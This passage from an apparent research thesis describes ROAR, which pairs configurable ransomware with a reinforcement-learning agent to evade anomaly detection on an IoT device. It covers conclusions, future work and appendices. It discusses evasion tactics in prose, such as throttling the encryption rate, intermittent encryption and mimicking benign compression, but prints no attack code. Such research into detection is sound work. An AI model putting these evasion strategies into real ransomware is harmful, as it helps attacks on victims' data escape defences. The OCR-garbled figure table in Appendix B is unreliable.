device behavior and the software generating these vectors. Therefore, it is a (more) realis-
tic scenario compared to artificial conditions where direct modification would be possible,
as it is unknown whether producing the correct combination of features matching the
defending AD model’s requirements and adequately measuring the ransomware’s impact
on the target device is possible.

Initially, the source code of an existing ransomware, i.e., Ransomware_PoC [23], was
extended to make it configurable at runtime and allow for dynamic adjustments of ran-
somware behavior. To model the current impact of the ransomware on its target, be-
havioral device fingerprinting is applied in parallel to the encryption process, capturing
a diverse set of kernel events and current resource usage. Along with the fingerprint,
the current encryption rate of the ransomware is measured for performance evaluation.
The fingerprint and the encryption rate are periodically sent to the C&C API for evalu-
ation. The so-called ransomware client coordinates the parallel processes for ransomware
encryption, rate collection, and fingerprinting.

An API is provided on the C&C server to receive the target device fingerprints and
encryption rates sent by the client. The current fingerprint is transformed into a numeric
state representation and forwarded to the RL agent. Moreover, the fingerprint is analyzed
by an AD model to predict hidden or detected behavior. The outcome of the AD is then
combined with the encryption rate to compute a reward for the agent’s last action. Based
on the fingerprint and reward received by the environment, the agent predicts the best
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possible action to be taken. The environment on the C&C server then converts the selected
action into its corresponding ransomware configuration and sends any changes back to the
client for integration in the ongoing encryption process.

To evaluate the performance of the proposed framework, ROAR was deployed on a
resource-constrained device, i.e., a Raspberry Pi 4. Since collecting fingerprints is time-
consuming and every encrypted file must be decrypted or replaced after every experiment,
the ransomware can also be simulated to facilitate and speed up the RL learning pro-
cess. Accordingly, behavioral fingerprints from the target device for normal and infected
behavior corresponding to six different ransomware configurations were sampled to be
used in simulations. Such simulations significantly sped up the development of various
prototypes of the RL agent, including implementations of the Q-learning and SARSA
algorithms. The final optimized prototype was ultimately evaluated both in an offline
manner with simulated data and in an online manner with new data collected from the
infected target device.

The evaluations of several prototypes at different stages of development and the final
evaluation of the optimized prototype showed four main conclusions to be drawn. Firstly,
extending the source code of an existing ransomware sample to make it configurable at
runtime has successfully been achieved. Additionally, deploying the now configurable
ransomware and incorporating it into an RL framework to optimize the impact of the
ransomware on the target device by influencing the behavioral fingerprints and thus re-
maining undetected by an AD model is feasible. Further so, the encryption process can
be considerably sped up using the RL agent’s predictions of the best configuration to
follow in the current state while maintaining high evasion rates given proper ransomware
configurations.

In the beginning, prototype version 1 successfully implemented a conceptual PoC, demon-
strating the feasibility of combining configurable ransomware with an RL agent by verify-
ing that all required interactions correctly occur. Then, prototype version 2 extended the
previous PoC by adding a single-episode implementation of Deep Q-learning with a neu-
ral network, achieved promising initial results regarding the accuracy, and, thus, allowed
for the agent to be called “intelligent.” The first proper Q-learning prototype version 3
addresses issues of the previous version by extending the training over multiple episodes
and introducing encryption-based performance rewards to incentivize faster encryption.
Prototype version 4 improves the simulation of the environment and fixes the “dying
ReLU” problem of previous versions by replacing ReLLU activation with SiLU activation.
Prototype version 5 imitates a near-perfect AD model to verify the agent’s learnings
under ideal and more realistic circumstances. Aggressive configurations are manually
detected, while more cautious configurations are deemed hidden to simulate encryption
with optimal configurations. This version evaluated the effects of various model changes
to optimize the agent’s performance while reducing the training duration to achieve at
least 90% accuracy after training. Prototype version 98 explores the relationship between
individual steps within an episode by adjusting the Q-learning implementation to take
exactly one step per episode. Its results suggest no such relation exists in this particular
RL problem and the underlying environment setup. Otherwise, this prototype version
did not directly contribute to the prototype development. The first SARSA prototype
version 6 modifies the Q-learning prototype version 4 by replacing the RL algorithm with
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an implementation of SARSA for the performance comparability of multiple algorithms.
Prototype version 7 extends version 6 and adopts the same ideal AD previously integrated
by prototype version 5 into the Q-learning algorithm. The final SARSA implementation
in version 7 is compared against the final Q-learning implementation in version 5, and
the results of the accuracy comparison revealed a tendency for SARSA to yield higher
Q-values after training. Ultimately, prototype version 8 adopts the findings of all earlier
prototypes and optimizes the learning process by greatly reducing the training duration
required to achieve satisfactory accuracy of more than 90%. Most importantly, the find-
ings derived from the collected results hold in a simulated environment and when the
agent is deployed in a real scenario. Given the comparison of all developed prototypes
presented in Section 5.6, the optimized Q-learning prototype version 8 achieves acceptable
accuracy of more than 90% in less than 10 minutes. However, it may be closely followed
by SARSA prototype version 6 regarding the required time for achieving higher accuracy
greater than 99%.

Secondly, out of the possible configurations currently supported by ROAR, the configu-
ration with the highest impact on the behavior of the target device was the encryption
rate limitation. This limit directly influenced resources usage, like CPU usage in percent
or frequency and intensity of file-related operations. Heavily reducing the encryption rate
considerably increased the chance of infected behavior remaining undetected by the AD,
as was demonstrated in the example of configuration 0, the most neutral configuration
with the highest evasion rate. Other configurations, such as the encryption algorithm
to be used or the duration of and pause between encryption bursts, helped distinguish
configurations with equal encryption rates and otherwise similar impact on the behavior
that would result in similar detection rates. Moreover, combined with the limitation of
the encryption rate, a configurable implementation of intermittent encryption (featured
by the ransomware LockBit, for example) bears a high potential for further improving the
evasion capabilities of the ransomware deployed by ROAR.

Thirdly, given the current configurability of ROAR, optimized ransomware trying to evade
the surveillance of a near-perfect AD model has a strong tendency to become very slow. A
heavy limitation of the encryption rate mainly causes this. However, the contradicting de-
sign goals are a major issue, and taking a “defense-first-attack-second” approach is critical
for constructing undetected ransomware configurations. Under the difficult circumstances
of a near-perfect defense mechanism, such a configuration would probably limit its en-
cryption rate to below 100 bytes per second. While this implies that targeting seldomly
accessed resource-constrained devices might remain somewhat feasible since the resource
constraints also lead to reduced storage capabilities!, attacks targeting more powerful
devices with increased storage capabilities would presumably take decades to reach full
encryption (provided the portion of resources available to the ransomware without being
detected remains similar and it is thus restricted to the same encryption rate). Simply
rendering files unusable by only encrypting necessary metadata and otherwise applying
intermittent encryption might partially address this problem but not solve it entirely.

! Assuming a file system containing 16 GB worth of data, it would take a ransomware encrypting with
90 Bps roughly six years to reach full encryption.
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Lastly and most importantly, it is critical to use a realistic and near-perfect AD model to
adjust any attack to a real deployment scenario. Accordingly, ransomware configurations
must be constructed so that the AD does not detect them with a high probability. This
results in more stable detection rates for each configuration and allows the RL agent to
properly learn good behavior by reducing reward fluctuation with constant rewards.



Chapter 8

Future Work

The limitation of primarily targeting resource-constrained devices can be justified by
the importance of IoT devices in today’s interconnected society, large corporations de-
ploying entire fleets of IoT devices to aid and automate their production processes, and
ransomware not only threatening but actively affecting many of those devices. However,
what if extending the RL-supported attack scenario to other, more powerful devices would
be possible without suffering the same substantial restrictions? The conclusions made in
the previous chapter suggest that an attack on more powerful devices would limit the
ransomware in the same ways as when attacking a resource-constrained device due to the
near-perfect AD in place. Thus far, however, this is nothing more than a prediction and
might be worth investigating. For example, the larger supply of resources could potentially
allow for faster encryption since more resources are available. Furthermore, the higher
variation in resource usage during normal behavior might increase the detection threshold.

The analysis of results for different prototypes presented throughout this work introduced
many aspects of the RL implementation that could be improved. It was previously es-
tablished that changes to the model and its parameters might greatly impact the overall
performance regarding time and accuracy. Firstly, it could prove attractive to address
the environment’s capabilities of appropriately modeling the current state by reducing
the dimensionality of the device fingerprint to limit the state space and speed up the
learning process. Possible solutions include the utilization of auto-encoders [97], as used
in [98] for similar purposes, or PCA [96]. Secondly, altering the implementation of the
agent was considered but has yet to be further pursued. Planned was to replace the single
neural network within the agent with two actor-critic neural networks to improve accu-
racy and performance and switch to RL algorithms other than Q-learning and SARSA.
In this regard, [98] presented an RL approach using experience replay. Thirdly, more fine-
grained adjustments to the underlying network model might be as helpful, such as using
different strategies like RMSProp backpropagation or alternative activation functions like
exponential linear unit (ELU) or SoftPlus to speed up convergence toward the best config-
uration. Lastly, as previously mentioned in the limitations, letting the agent learn the best
combination of configuration parameters could be applied to find the optimal ransomware
configuration and optimize the model’s hyperparameters.
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Although many possible alterations to the extended ransomware deployed by ROAR exist,
the propositions presented here focus on configurability and evasion of dynamic detection
mechanisms. As such, the configuration of the ransomware could be extended to not
only allow dynamic switching of the used encryption algorithm but to allow switching
between different ransomware samples entirely. The current implementation extended
only Ransomware_PoC [23]. However, given the existence of the ransomware client as a
coordinating process, it would be possible to launch and terminate different ransomware
samples in a coordinated manner. Furthermore, new ideas for configurable ransomware
parameters to be applied to the underlying encryption process could be derived from other
ransomware samples, e.g., WannaCry, LockBit, or Blackbasta. Powerful configurations
with great potential have already been introduced in the conclusions of this work. One
example would be the adoption of intermittent encryption, i.e., incomplete encryption of
a file that would only encrypt every X bytes. Since such an implementation would inher-
ently generate identifiable behavioral patterns, a configurable or random waiting period
between the encryption bursts would help break up the pattern. Finally, fooling behavior-
based detection mechanisms such as fingerprinting-based AD could be approached by
incorporating benign behavior into the encryption. For example, a user might perform
data compression as a legit action, which would most likely be permitted by the detection
mechanism while reducing the data size the ransomware wants to encrypt.
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Appendix A

Data Corpus for Evaluation in Real
Scenario

This section lists the retrieval and specific selection of files from the chosen dataset to
be used for encryption in evaluating the optimized prototype in a real scenario. From
the original dataset [93] presented in Section 4.3, 11 files were selected by executing the
following command:

find /home/root/data/ -size -6 -exec cp "" /home/root/corpus/ \;

This command yielded the files listed in Table A.1 with a total size of 32’519 bytes.

Table A.1: List of Files Used for Evaluating the Optimized Prototype in a Real Scenario
Size (bytes) File Name

2376 27TUIROOYZAIESFKKNAPCKEQXWBKKN7XM.pdf
2137 S5FTF36M3NZCHDTIFIVISJQRBDYNY6KJL.pdf
1641 BLQYONKYGPSK7TRW76LOAUDZGQXB634CT.pdf
1626 CS407BCLPRK6J5MKIK7BPBFC2UURCMT7X.pdf
2153 CT604FXETQ2ABBLKKRWK5E344XQA73C3.pdf
2160 EI4NKIFHUUATUUEER4SDXP6EZNJK7GQH.pdf
1659 HPXULDFI3DAZ3V2NZOHYUGUY5HSLS4AHU .pdf
1379 J5ZSVACEZDUKODXRBOAVGJVB5HXTR5QMA . pdf
1755 JQTLTBNFMLOTJNAZWAJGUYXUWJ42X5WM.pdf
2349 QE6FLNHQQKHXPNZIXRPA362DGNJ4UZJB.pdf
2200 R6LHWCGKSEOQHHR7EXRI7TZJLBG2R5QOF .pdf
2470 VYKHMZE2ESWMGNXTHQZ560Q46BR3JJUG.pdf
1991 WH5VHS6JXL2IZQKOADSVNG6J2JWZPNWVC6.pdf
1836 WT4PUCQSO7JLM6FV4HZDJ6DN4ZGWFL7U.pdf
2263 XLXYJ2YSMNRFYEKWJ4VFACQHPY GFASLZ.pdf
2524 YWJIHTUE6VBGPHTJYLGMHWGRIBWIF2BG.pdf
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Appendix B

Original Figures

This section maps the figures regarding prototypes and results shown in the report to
the original figures stored within the .zip files in the __data folder in the ROAR server
repository [25]. Because the numbering and naming of files in the report sources grew
along with writing this document, and because the structure of the data folders may not
be intuitive and there are many very similar figures, Table B.1 below maps the figures
from this report to their corresponding file names and locations in the repository. The
file names of result plots first indicate the prototype version the plots belong to, then
the number of the group the plots are compared in, and at the end is the number of the
file within that group. For example, “plot-p8-11-1.png” belongs to prototype version 8, is
compared against other plots of group 11, and is file number 1 of that comparison.

Table B.1: Mapping of Report Figures to Repository Figures

Figure File Name Report File Name Repository Location Repository
Figure 5.4 act-func—ReLU TLogistic.png activation-func—al-ReLU a2 Logistic x-4.png activation-functions;
Figure 5.13 act-func=ReLU SiLU.png activation-func=al-ReLU a2-SiLU x-6.png activation-functions/

Figure 5.8 rew-func=log loverX h+20-d-20.png rd-func=pos-log neg-ToverX 1420 d-20 x-500.png d-functions/
Figure 5.9 rew-func=10In-loverX h+0-d-20.png func=pos-10In-neg-loverX h+0-d-20-x-
hgmc 5.10_rew-fune=10ln-LoverX-h-+0-d-50 pug | reward-func=pos- 10l e LoverX- h+0 \l 50— d-functions/
plot-p2-7-1.png -500s.png L‘xpu!untul.»/pZ/l‘() 2a0.0050y0.75/
plot- )2—10005.1mg expe nnmm/pz/(o 220.003050.7:
plot-;
plot-p3-5-2.png
plot-p4-1.png
plot-p4-2-1.png

exper \monts/pd/m\\m(l (ldl)/(‘])\U Sdeca
023-01-27-10-42-2: experiments/p4/accuracy /2-eps

2()23 01-; ’)8 00-06-;

plot-pd-2-2.png
plot- -3.png _

plot-p4-3-1.png experiments/p4/accuracy /3
plot-p4-3-2.png 4-20000e-4000s.png experiments/pd /accura

plot-p5-4.png 0000e-4000s.png experiments/p5 /explor

plot-p5-8-1.png 0000¢-4000s experiments/p5/parameters /y-¢ 10 01(10 000550. 1/

plot-p5-8-2.png 5-10000e-4000s.png experiments,/p5 /exploration, 1-eps0.1decay0.01/

plot-p5-11-2.png 00e-4000s.png experiments/p5/comp-optim/300=¢0.1d0.01a0.0005y0.75=Log-SiLU=h30=xavier/
Figure 5.24 plot-p6-9.png p6-10000e-4000s.png experiments/p6/accuracy /2-eps0.5decay0.01/
Figure 5.25 plot-p7-10.png 3=p7-10000e-4000s.png i 0.5d0.01a0.0005y0.75,/
Figure 5.26 plot-p8-11-1.png 9-15-00=p8-10000e-4000s.png 4d0.01a0.0050y0.1=Log: —hd0=he/
Figure 5.28 plot-p8-11-3.png -300e-4000s.png experiments/p8/300=e0.4d0.01a0.0050y0.1=Log-SiL! h40=he/
Figure 5.29 plot-p8-12.png 300eps-onDevice=results-fig=2023-02-23-12-4 p8-300e-4000s.png  experiments/p8/300-onDevic 4d0.01a0.0050y0.1=Log-SiLU=h40=he/
Figure 5.21 plot-p98-6.png 80k-1-results-fig=2023-02-11-12-00-08=p98-80000e.png experiments/p98 /ideal-AD-reward /3-c0.5d0.01a0.0005y0.75/
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